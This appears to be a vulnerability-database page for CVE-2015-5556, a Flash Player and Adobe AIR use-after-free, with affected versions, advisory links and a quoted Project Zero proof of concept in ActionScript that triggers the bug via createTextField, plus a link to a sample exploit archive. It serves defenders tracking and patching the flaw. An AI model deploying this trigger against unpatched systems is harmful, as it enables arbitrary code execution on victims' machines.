CVE-2015-5556
Description
Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Adobe Flash - createTextField Use-After-Free
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:
_root-->l1-->l2-->l3
If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:
var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);
function strfunc(){
l2.removeMovieClip();
return "myname";
}
A sample SWF and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip
OS impact
Linux kernel Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| - | Not affected | โ |
macOS Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| - | Not affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| adobe | air | {"endIncluding":"18.0.0.180"} | |
| adobe | air_sdk | {"endIncluding":"18.0.0.180"} | |
| adobe | air_sdk_\&_compiler | {"endIncluding":"18.0.0.180"} | |
| adobe | flash_player | {"endIncluding":"18.0.0.209"} | |
References
- http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00018.html
- http://rhn.redhat.com/errata/RHSA-2015-1603.html
- http://www.securityfocus.com/bid/76288
- http://www.securitytracker.com/id/1033235
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05356388
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05385680
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05390722
- https://helpx.adobe.com/security/products/flash-player/apsb15-19.html
- https://security.gentoo.org/glsa/201508-01
- http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00018.html
- http://rhn.redhat.com/errata/RHSA-2015-1603.html
- http://www.securityfocus.com/bid/76288
- http://www.securitytracker.com/id/1033235
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05356388
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05385680
- https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05390722
- https://helpx.adobe.com/security/products/flash-player/apsb15-19.html
- https://security.gentoo.org/glsa/201508-01
Community-verified mitigations for this CVE will appear above when contributors publish them.
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